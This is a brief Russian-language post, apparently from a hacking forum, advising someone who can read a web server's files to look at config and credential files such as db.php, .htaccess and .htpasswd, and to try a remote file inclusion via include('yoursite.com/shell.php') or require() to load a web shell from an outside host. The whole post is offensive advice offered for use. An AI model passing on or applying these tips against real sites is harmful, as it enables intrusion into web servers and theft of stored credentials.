если можешь читать конфиг файлы увидишь много интересного,
например admin.php,db.php,login.php

или файлы .htaccess, .htpasswd

ешо попробуй include("yoursite.com/shell.php"); или require()